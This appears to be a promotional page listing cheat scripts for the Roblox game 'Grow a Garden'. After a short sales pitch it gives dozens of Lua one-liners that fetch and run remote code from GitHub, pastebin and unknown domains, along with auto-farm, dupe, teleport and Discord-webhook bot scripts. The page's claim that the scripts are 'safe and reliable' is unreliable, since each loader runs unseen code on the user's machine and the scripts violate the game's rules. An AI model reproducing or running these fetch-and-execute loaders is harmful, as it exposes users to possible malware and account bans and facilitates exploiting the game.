Grow a Garden scripts help you play smarter, showing the best seeds, auto plant, auto buy, auto sell, auto collect, infinite seeds, tool usage and farm development methods.
Grow a Garden may seem like a relaxing farming game, but it's more than just planting seeds and waiting. Every plant you grow, every tool you upgrade, and every weather change affects how quickly your farm levels up and how much money you make.
Whether you're starting with carrots or want to buy rare seeds, this guide will help you stay on track. We'll show you the best seeds, how to get cool plant mutations, and which tools to focus on so you can develop your farm faster.
To unlock all the levels above, you need to reach that level, but with these Grow a Garden scripts, you can easily unlock all these features.
Auto plant feature automatically plants seeds for you without needing to click each time. Saves time and helps your farm develop faster without having to do all the work yourself.
Auto collect seeds picks up seeds for you. You don't need to click or move, seeds will automatically come to you.
These scripts are safe and reliable. They won't harm your account or game, designed to work without risk.
Optimized code ensures scripts run at high speed without causing game lag or stuttering.
Scripts can run continuously 24 hours a day, allowing your farm to develop continuously.
Includes advanced features like ESP, transparency, auto buy, auto sell, and more.
loadstring(game:HttpGet("https://raw.githubusercontent.com/AhmadV99/Speed-Hub-X/main/Speed%20Hub%20X.lua", true))()()
loadstring(game:HttpGet("https://raw.githubusercontent.com/FryzerHub/loading-Gui/refs/heads/main/grow%20a%20garden%20v1"))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/depthso/Grow-a-Garden/refs/heads/main/autofarm.lua"))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/tienkhanh1/spicy/main/Chilli.lua"))()
getgenv().gagtools = true
loadstring(game:HttpGet("https://raw.githubusercontent.com/yzarcz/gubby.lol/refs/heads/main/loader.luau"))()
loadstring(game:HttpGet("https://get-avth-ontop.netlify.app/my-paste/script.lua"))()
loadstring(game:HttpGet('https://api.exploitingis.fun/loader', true))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/H4xScripts/Scripts/refs/heads/main/lod.lua"))()
loadstring(game:HttpGet("https://codeberg.org/twentys2/scripts/raw/branch/main/grow-a-garden"))()
getgenv().Rarity = {
["Brainrot God"] = {enabled = true},
["Secret"] = {enabled = true},
["Mythic"] = {enabled = false},
["Legendary"] = {enabled = false},
["Epic"] = {enabled = false},
["Rare"] = {enabled = false},
["Common"] = {enabled = false},
}
loadstring(game:HttpGet("https://raw.githubusercontent.com/DoliScriptz/loader/refs/heads/main/finder.txt"))()
loadstring(game:HttpGet("https://gist.githubusercontent.com/NefariousScript/a14323702893811c9cf5c9ce20483ade/raw/Dupe_SpawnV3.1"))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/nootmaus/GrowAAGarden/refs/heads/main/mauscripts"))()
getgenv().AutoFarm = true
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local VirtualInputManager = game:GetService("VirtualInputManager")
local lplr = Players.LocalPlayer
local remote = ReplicatedStorage:WaitForChild("GameEvents"):WaitForChild("SummerHarvestRemoteEvent")
local function getHumanoidRootPart()
local char = lplr.Character
if char and char:FindFirstChild("HumanoidRootPart") then
return char.HumanoidRootPart
end
return nil
end
local function teleportTo(position)
local hrp = getHumanoidRootPart()
if hrp then
hrp.CFrame = CFrame.new(position)
end
end
local function spamEUntilFruitGone(fruit)
if not fruit or not fruit.PrimaryPart then
return
end
local fruitExists = true
local conn
conn = fruit.AncestryChanged:Connect(function(_, parent)
if not parent then
fruitExists = false
conn:Disconnect()
end
end)
while fruitExists and getgenv().AutoFarm do
local ok, err = pcall(function()
VirtualInputManager:SendKeyEvent(true, Enum.KeyCode.E, false, game)
wait(0.05)
VirtualInputManager:SendKeyEvent(false, Enum.KeyCode.E, false, game)
end)
if not ok then
warn("Error when spamming E key: " .. tostring(err))
break
end
wait(0.2)
end
end
local function getOwnedFarms()
local farms = {}
local FarmObjects = workspace:WaitForChild("Farm"):GetChildren()
for _, farm in ipairs(FarmObjects) do
local success, isOwned = pcall(function()
return farm.Important.Data.Owner.Value == lplr.Name
end)
if success and isOwned then
table.insert(farms, farm)
end
end
return farms
end
local function getPlantsFromFarm(farm)
local plants = {}
local plantsFolder = farm.Important:FindFirstChild("Plants_Physical")
if plantsFolder then
for _, plant in ipairs(plantsFolder:GetChildren()) do
if plant:IsA("Model") then
table.insert(plants, plant)
end
end
end
return plants
end
local function getFruitsFromPlant(plant)
local fruits = {}
local fruitsFolder = plant:FindFirstChild("Fruits")
if fruitsFolder then
for _, fruit in ipairs(fruitsFolder:GetChildren()) do
if fruit:IsA("Model") and fruit.PrimaryPart then
table.insert(fruits, fruit)
end
end
end
return fruits
end
local function isWithinFirstTenMinutes()
local time = os.date("*t")
return time.min >= 0 and time.min < 10
end
local function pauseFunction()
local hrp = getHumanoidRootPart()
if hrp then
hrp.CFrame = CFrame.new(-116.40152, 4.40001249, -12.4976292, 0.871914983, 0, 0.489657342, 0, 1, 0, -0.489657342, 0, 0.871914983)
end
remote:FireServer("SubmitAllPlants")
end
task.spawn(function()
while true do
getgenv().sh = isWithinFirstTenMinutes()
wait(5)
end
end)
task.spawn(function()
while true do
if getgenv().AutoFarm and getgenv().sh then
local hrp = getHumanoidRootPart()
if not hrp then
wait(3)
else
local farms = getOwnedFarms()
if #farms == 0 then
wait(5)
else
for _, farm in ipairs(farms) do
local plants = getPlantsFromFarm(farm)
for _, plant in ipairs(plants) do
local fruits = getFruitsFromPlant(plant)
for _, fruit in ipairs(fruits) do
if not getgenv().AutoFarm or not getgenv().sh then break end
if fruit and fruit.Name == "Tomato" and fruit.PrimaryPart then
teleportTo(fruit.PrimaryPart.Position)
wait(0.1)
spamEUntilFruitGone(fruit)
end
end
if not getgenv().AutoFarm or not getgenv().sh then break end
end
end
end
end
wait(25)
for i = 1, 5 do
if not getgenv().AutoFarm then break end
pauseFunction()
wait(1)
end
else
wait(1)
end
end
end)
loadstring(game:HttpGet("https://raw.githubusercontent.com/Ayvathion/AV-On-Top/refs/heads/main/Loader.lua"))()
loadstring(game:HttpGet("https://api.luarmor.net/files/v3/loaders/7d8a2a1a9a562a403b52532e58a14065.lua"))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/yue-os/script/refs/heads/main/Y-Hub"))()
loadstring(game:HttpGet('https://raw.githubusercontent.com/ThundarZ/Welcome/refs/heads/main/Main/GaG/Main.lua'))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/greywaterstill/GAG/refs/heads/main/nathub.lua"))()
loadstring(game:HttpGet("https://api.luarmor.net/files/v3/loaders/b778b0425fce68591d34cc9d0a04fe3b.lua"))()
loadstring(game:HttpGet('https://raw.githubusercontent.com/frvaunted/Main/refs/heads/main/Alter%20Hub'))()
repeat wait() until game:IsLoaded() and game.Players.LocalPlayer
local scripts = {
[126884695634066] = "https://raw.githubusercontent.com/NoLag-id/No-Lag-HUB/refs/heads/main/Garden/Garden-V1.lua",
[81440632616906] = "https://raw.githubusercontent.com/NoLag-id/No-Lag-HUB/refs/heads/main/DigEarth/V1.lua",
}
local url = scripts[game.PlaceId]
if url then
loadstring(game:HttpGetAsync(url))()
loadstring(game:HttpGetAsync("https://raw.githubusercontent.com/NoLag-id/No-Lag-HUB/refs/heads/main/untitled.lua"))()
end
local plr = game:GetService("Players").LocalPlayer
local rs = game:GetService("ReplicatedStorage")
local sellPos = CFrame.new(90.08035, 0.98381, 3.02662, 6e-05, 1e-06, 1, -0.0349, 0.999, 1e-06, -0.999, -0.0349, 6e-05)
local gui = Instance.new("ScreenGui", game.CoreGui)
gui.ResetOnSpawn = false
local f = Instance.new("Frame", gui)
f.Size = UDim2.fromOffset(160, 110)
f.Position = UDim2.new(0.5, -80, 0.6, -55)
f.BackgroundColor3 = Color3.fromRGB(235, 64, 52)
f.Active, f.Draggable = true, true
Instance.new("UICorner", f).CornerRadius = UDim.new(0, 10)
local lbl = Instance.new("TextLabel", f)
lbl.Size = UDim2.new(1, 0, 0.25, 0)
lbl.BackgroundTransparency = 1
lbl.Text = "SheScripts Gag"
lbl.TextColor3 = Color3.new(1, 1, 1)
lbl.Font = Enum.Font.GothamBold
lbl.TextScaled = true
local function makeButton(text, y)
local b = Instance.new("TextButton", f)
b.Size = UDim2.new(0.85, 0, 0.3, 0)
b.Position = UDim2.new(0.075, 0, y, 0)
b.BackgroundColor3 = Color3.fromRGB(255, 214, 10)
b.Text = text
b.TextColor3 = Color3.new(0, 0, 0)
b.Font = Enum.Font.GothamSemibold
b.TextScaled = true
Instance.new("UICorner", b).CornerRadius = UDim.new(0, 6)
return b
end
local btnAll = makeButton("Sell Inventory", 0.35)
local btnHand = makeButton("Sell item in hand", 0.68)
btnAll.MouseButton1Click:Connect(function()
local hrp = plr.Character and plr.Character:FindFirstChild("HumanoidRootPart")
if hrp then
local orig = hrp.CFrame
hrp.CFrame = sellPos
task.wait(0.1)
rs.GameEvents.Sell_Inventory:FireServer()
task.wait(0.1)
hrp.CFrame = orig
end
end)
btnHand.MouseButton1Click:Connect(function()
local hrp = plr.Character and plr.Character:FindFirstChild("HumanoidRootPart")
if hrp then
local orig = hrp.CFrame
hrp.CFrame = sellPos
task.wait(0.1)
rs.GameEvents.Sell_Item:FireServer()
task.wait(0.1)
hrp.CFrame = orig
end
end)
loadstring(game:HttpGet("https://raw.githubusercontent.com/Nebula-xyzs/GAG/refs/heads/main/GrowAGardenXE"))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/MoziIOnTop/MoziIHub/refs/heads/main/GrowaGarden"))()
loadstring(game:HttpGet('https://pandahub.website/scripts/loader.lua'))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/ArdyBotzz/NatHub/refs/heads/master/NatHub.lua"))();
loadstring(game:HttpGet("https://raw.githubusercontent.com/sudaisontopxd/PanScriptXSudaisScript/refs/heads/main/PhantFluxReal.lua"))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Loolybooly/TheVaultScripts/refs/heads/main/FullScript"))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/H4xScripts/Loader/refs/heads/main/loader2.lua"))()
loadstring(game:HttpGetAsync("https://raw.githubusercontent.com/NoLag-id/No-Lag-HUB/refs/heads/main/Loader/LoaderV1.lua"))()
_G.AutoFarm = true
_G.PerformanceMode = "Fast"
_G.TeleportCooldown = 0.1
_G.AutoRebuy = true
_G.SeedPrice = 4000
_G.AutoSellThreshold = 50
_G.AutoWatering = true
_G.AutoSprinklers = true
_G.GearShopAutoBuy = true
_G.GearShopItems = {"Basic Watering Can", "Basic Sprinkler", "Basic Shovel"}
_G.RenderDistance = 50
_G.UIUpdateInterval = 2
_G.OptimizeRendering = true
loadstring(game:HttpGet("https://raw.githubusercontent.com/debunked69/solixloader/refs/heads/main/solix%20v2%20new%20loader.lua"))()
loadstring(game:HttpGet("https://pastebin.com/raw/XHMN2zpp"))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Kenniel123/Grow-a-garden/refs/heads/main/Grow%20A%20Garden"))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/thantzy/thanhub/refs/heads/main/thanv1"))()
loadstring(game:HttpGet("https://get.nathub.xyz/loader"))()
loadstring(game:HttpGet("https://rifton.top/loader.lua"))()
loadstring(game:HttpGet("https://pastebin.com/raw/90r2yXNi"))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Bern0va/Scripts/refs/heads/main/gag-dupe.lua"))()
loadstring(game:HttpGet("https://lunor.dev/loader"))()
loadstring(game:HttpGet('https://raw.githubusercontent.com/Rayfield/Rayfield/main/Loader.lua'))()
loadstring(game:HttpGet(('https://pastefy.app/P5CQPKQ2/raw'),true))()
getgenv().Configs = {
["Stack Plant"] = true,
["Low Cpu"] = true,
["Webhook"] = "Url Here"
}
loadstring(game:HttpGet("https://api.realaya.xyz/v1/files/l/yqx3a5r6t4oj1o0lbx14nutwl4sc97bq.lua"))();
repeat wait() until game:IsLoaded() and game.Players.LocalPlayer
getgenv().Team = "Pirates"
loadstring(game:HttpGet("https://api.luarmor.net/files/v3/loaders/e0c7fcf6c077fc23475cf4ce4db58e42.lua"))()
loadstring(game:HttpGet("https://api.luarmor.net/files/v3/loaders/255ac567ced3dcb9e69aa7e44c423f19.lua"))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Skzuppy/forge-hub/main/loader.lua"))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Skibidiking123/Fisch1/refs/heads/main/FischMain"))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Dex-Bear/Vxezehub/refs/heads/main/VxezeHubMain"))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/M-E-N-A-C-E/Menace-Hub/refs/heads/main/Old%20Server%20Finder%20Grow%20a%20Garden", true))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/tesghg/Grow-a-Garden/main/ameicaa_Grow_A_Garden.lua"))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/kosowa/asd/refs/heads/main/GaG.lua"))()
loadstring(game:HttpGet("https://nicuse.xyz/MainHub.lua"))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/nf-36/Koronis/refs/heads/main/Scripts/Loader.lua"))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/BrySadW/GrowAGarden/refs/heads/main/GrowAGarden.lua"))()
loadstring(game:HttpGet("https://getsomber.com/loader.lua"))()
loadstring(game:HttpGet("https://api.luarmor.net/files/v3/loaders/8f14c1806369f8ae3db39eafc954d76d.lua"))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/xQuartyx/QuartyzScript/main/Loader.lua"))()
-- 📑 1ST SCRIPT👇
loadstring(game:HttpGet("https://raw.githubusercontent.com/Kenniel123/Grow-a-garden/refs/heads/main/Grow%20A%20Garden"))()
-- 📑 2ND SCRIPT👇
loadstring(game:HttpGet("https://raw.githubusercontent.com/Kenniel123/Grow-a-garden/refs/heads/main/Grow%20A%20Garden"))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/FemWareDevelper/Universal/refs/heads/main/Garden"))()
local G = loadstring(game:HttpGet("https://raw.githubusercontent.com/Bwhw827g29wh/Scripts/refs/heads/main/FetchAndExecute.lua"))()
G:fetchAndExecute("https://raw.githubusercontent.com/Bwhw827g29wh/Scripts/refs/heads/main/GGH-Grow-a-Garden.lua")
loadstring(game:HttpGet("https://gitlab.com/Lmy77/menu/-/raw/main/infinityx"))()
loadstring(game:HttpGet('https://lunor.dev/loader'))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/ameicaa1/Grow-a-Garden/main/Grow_A_Garden.lua"))()
loadstring(game:HttpGet('https://raw.githubusercontent.com/ago106/SpaceHub/refs/heads/main/Multi'))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/NittarPP/PhotonScript/refs/heads/main/Loading/Loading.lua"))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/doggoman230/growagarden/refs/heads/main/script"))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/hakariqScripts/Roslina/refs/heads/main/Ro"))()
loadstring(game:HttpGet(('https://raw.githubusercontent.com/depthso/Grow-a-Garden/refs/heads/main/autofarm.lua')))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/gumanba/Scripts/refs/heads/main/GrowaGarden", true))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/gumanba/Scripts/main/GrowaGarden"))()
loadstring(game:HttpGet('https://raw.githubusercontent.com/checkurasshole/Script/refs/heads/main/IQ'));
loadstring(game:HttpGet("https://raw.githubusercontent.com/n3xkxp3rl/Moma-Hub/refs/heads/main/GrowAGarden.lua"))()
loadstring(game:HttpGet('https://raw.githubusercontent.com/H4xScripts/Scripts/refs/heads/main/lod.lua'))()
loadstring(game:HttpGet("https://rscripts.net/raw/grow-a-garden-open-source_1748247986626_MBvq210X08.txt",true))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Dingarik/Dingarik/refs/heads/main/GrowAGarden"))()
loadstring(game:HttpGet("https://rawscripts.net/raw/Grow-a-Garden-NoLag-Hub-no-key-38699"))()
script_key="keyhere";
(loadstring or load)(game:HttpGet("https://getnative.cc/script/loader"))()
loadstring(game:HttpGet("https://lumin-hub.lol/loader.lua",true))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Thebestofhack123/2.0/refs/heads/main/Scripts/OldJoiner", true))() print("questions? - discord")
loadstring(game:HttpGet("https://raw.githubusercontent.com/ameicaa1/Grow-a-Garden/main/CandyBlossom_Farm.lua"))()
loadstring(game:HttpGet("https://pastefy.app/QAOdVEuB/raw"))()
loadstring(game:httpget( https://raw.githubusercontent.com/growgardenscript/autogetcandyblossom/refs/heads/main/autofindcandyblossomserver ))()
loadstring(game:HttpGet('https://raw.githubusercontent.com/m00ndiety/Grow-a-garden/refs/heads/main/Grow-A-fkin-Garden.txt'))()
loadstring(game:HttpGet(request({Url='https://aussie.productions/script'}).Body))()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Skzuppy/forge-hub/main/loader.lua"))()
local Rayfield = loadstring(game:HttpGet('https://raw.githubusercontent.com/shlexware/Rayfield/main/source'))()
-- Configure Rayfield UI here
local Rayfield = loadstring(game:HttpGet('https://[Log in to view URL]'))()
Rayfield:Notify({
Title = "Notification!",
Content = "FOLLOW MY TIKTOK @eroexy",
Duration = 2.5,
})
local Window = Rayfield:CreateWindow({
Name = "uro's GAG script",
LoadingTitle = "Grow a Garden",
LoadingSubtitle = "by uro",
Theme = "Default",
KeySystem = true,
KeySettings = {
Title = "Get the key pal",
Subtitle = "Key System",
Note = "Don't download anything",
GrabKeyFromSite = true,
Key = {"https://[Log in to view URL]"}
}
})
local Tab = Window:CreateTab("Farm 🥕", nil)
local Button = Tab:CreateButton({
Name = "auto farm",
Callback = function() end,
})
local Button = Tab:CreateButton({
Name = "auto plant",
Callback = function() end,
})
local Rayfield = loadstring(game:HttpGet('https://raw.githubusercontent.com/shlexware/Rayfield/main/source'))()
local Window = Rayfield:CreateWindow({
Name = "Grow A Garden | tekitaway",
LoadingTitle = "Grow A Garden",
LoadingSubtitle = "by tekitaway",
Theme = "Green",
ConfigurationSaving = { Enabled = false },
Discord = { Enabled = false },
KeySystem = false,
})
local MainTab = Window:CreateTab("Selling", nil)
-- Add your functions here (e.g., auto-farm, auto-sell)
loadstring(game:HttpGet("https://raw.githubusercontent.com/ZusumeHub/ZusumeHub/refs/heads/main/GAg5"))()
loadstring(game:HttpGet("https://paste.ee/r/l4hSf64H"))()
repeat wait() until game:IsLoaded() and game.Players.LocalPlayer
local scripts = {
[126884695634066] = "https://raw.githubusercontent.com/NoLag-id/No-Lag-HUB/refs/heads/main/Garden/Garden-V1.lua",
[81440632616906] = "https://raw.githubusercontent.com/NoLag-id/No-Lag-HUB/refs/heads/main/DigEarth/V1.lua",
}
local url = scripts[game.PlaceId]
if url then
loadstring(game:HttpGetAsync(url))()
loadstring(game:HttpGetAsync("https://raw.githubusercontent.com/NoLag-id/No-Lag-HUB/refs/heads/main/untitled.lua"))()
end
--[[
@author depso (depthso)
@description Grow a Garden stock bot script
https://www.roblox.com/games/126884695634066
]]
type table = {
[any]: any
}
_G.Configuration = {
--// Reporting
["Enabled"] = true,
["Webhook"] = "https://discord.com/api/webhooks.....",
["Weather Reporting"] = true,
--// User
["Anti-AFK"] = true,
["Auto-Reconnect"] = true,
["Rendering Enabled"] = false,
--// Embeds
["AlertLayouts"] = {
["Weather"] = {
EmbedColor = Color3.fromRGB(42, 109, 255),
},
["SeedsAndGears"] = {
EmbedColor = Color3.fromRGB(56, 238, 23),
Layout = {
["ROOT/SeedStock/Stocks"] = "SEEDS STOCK",
["ROOT/GearStock/Stocks"] = "GEAR STOCK"
}
},
["EventShop"] = {
EmbedColor = Color3.fromRGB(212, 42, 255),
Layout = {
["ROOT/EventShopStock/Stocks"] = "EVENT STOCK"
}
},
["Eggs"] = {
EmbedColor = Color3.fromRGB(251, 255, 14),
Layout = {
["ROOT/PetEggStock/Stocks"] = "EGG STOCK"
}
},
["CosmeticStock"] = {
EmbedColor = Color3.fromRGB(255, 106, 42),
Layout = {
["ROOT/CosmeticStock/ItemStocks"] = "COSMETIC ITEMS STOCK"
}
}
}
}
--// Services
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Players = game:GetService("Players")
local HttpService = game:GetService("HttpService")
local VirtualUser = cloneref(game:GetService("VirtualUser"))
local RunService = game:GetService("RunService")
local GuiService = game:GetService("GuiService")
--// Remotes
local DataStream = ReplicatedStorage.GameEvents.DataStream
local WeatherEventStarted = ReplicatedStorage.GameEvents.WeatherEventStarted
local LocalPlayer = Players.LocalPlayer
local function GetConfigValue(Key: string)
return _G.Configuration[Key]
end
--// Set rendering enabled
local Rendering = GetConfigValue("Rendering Enabled")
RunService:Set3dRenderingEnabled(Rendering)
--// Check if the script is already running
if _G.StockBot then return end
_G.StockBot = true
local function ConvertColor3(Color: Color3): number
local Hex = Color:ToHex()
return tonumber(Hex, 16)
end
local function GetDataPacket(Data, Target: string)
for _, Packet in Data do
local Name = Packet[1]
local Content = Packet[2]
if Name == Target then
return Content
end
end
return
end
local function GetLayout(Type: string)
local Layouts = GetConfigValue("AlertLayouts")
return Layouts[Type]
end
local function WebhookSend(Type: string, Fields: table)
local Enabled = GetConfigValue("Enabled")
local Webhook = GetConfigValue("Webhook")
--// Check if reports are enabled
if not Enabled then return end
local Layout = GetLayout(Type)
local Color = ConvertColor3(Layout.EmbedColor)
--// Webhook data
local TimeStamp = DateTime.now():ToIsoDate()
local Body = {
embeds = {
{
color = Color,
fields = Fields,
footer = {
text = "Created by depso"
},
timestamp = TimeStamp
}
}
}
local RequestData = {
Url = Webhook,
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Body = HttpService:JSONEncode(Body)
}
--// Send POST request to the webhook
task.spawn(request, RequestData)
end
local function MakeStockString(Stock: table): string
local String = ""
for Name, Data in Stock do
local Amount = Data.Stock
local EggName = Data.EggName
Name = EggName or Name
String ..= `{Name} **x{Amount}**\n`
end
return String
end
local function ProcessPacket(Data, Type: string, Layout)
local Fields = {}
local FieldsLayout = Layout.Layout
if not FieldsLayout then return end
for Packet, Title in FieldsLayout do
local Stock = GetDataPacket(Data, Packet)
if not Stock then return end
local StockString = MakeStockString(Stock)
local Field = {
name = Title,
value = StockString,
inline = true
}
table.insert(Fields, Field)
end
WebhookSend(Type, Fields)
end
DataStream.OnClientEvent:Connect(function(Type: string, Profile: string, Data: table)
if Type ~= "UpdateData" then return end
if not Profile:find(LocalPlayer.Name) then return end
local Layouts = GetConfigValue("AlertLayouts")
for Name, Layout in Layouts do
ProcessPacket(Data, Name, Layout)
end
end)
WeatherEventStarted.OnClientEvent:Connect(function(Event: string, Length: number)
--// Check if Weather reports are enabled
local WeatherReporting = GetConfigValue("Weather Reporting")
if not WeatherReporting then return end
--// Calculate end unix
local ServerTime = math.round(workspace:GetServerTimeNow())
local EndUnix = ServerTime + Length
WebhookSend("Weather", {
{
name = "WEATHER",
value = `{Event}\nEnds:<t:{EndUnix}:R>`,
inline = true
}
})
end)
--// Anti idle
LocalPlayer.Idled:Connect(function()
--// Check if Anti-AFK is enabled
local AntiAFK = GetConfigValue("Anti-AFK")
if not AntiAFK then return end
VirtualUser:CaptureController()
VirtualUser:ClickButton2(Vector2.new())
end)
--// Auto reconnect
GuiService.ErrorMessageChanged:Connect(function()
local IsSingle = #Players:GetPlayers() <= 1
local PlaceId = game.PlaceId
local JobId = game.JobId
--// Check if Auto-Reconnect is enabled
local AutoReconnect = GetConfigValue("Auto-Reconnect")
if not AutoReconnect then return end
queue_on_teleport("https://rawscripts.net/raw/Grow-a-Garden-Grow-a-Garden-Stock-bot-41500")
--// Join a different server if the player is solo
if IsSingle then
TeleportService:Teleport(PlaceId, LocalPlayer)
return
end
TeleportService:TeleportToPlaceInstance(PlaceId, JobId, LocalPlayer)
end)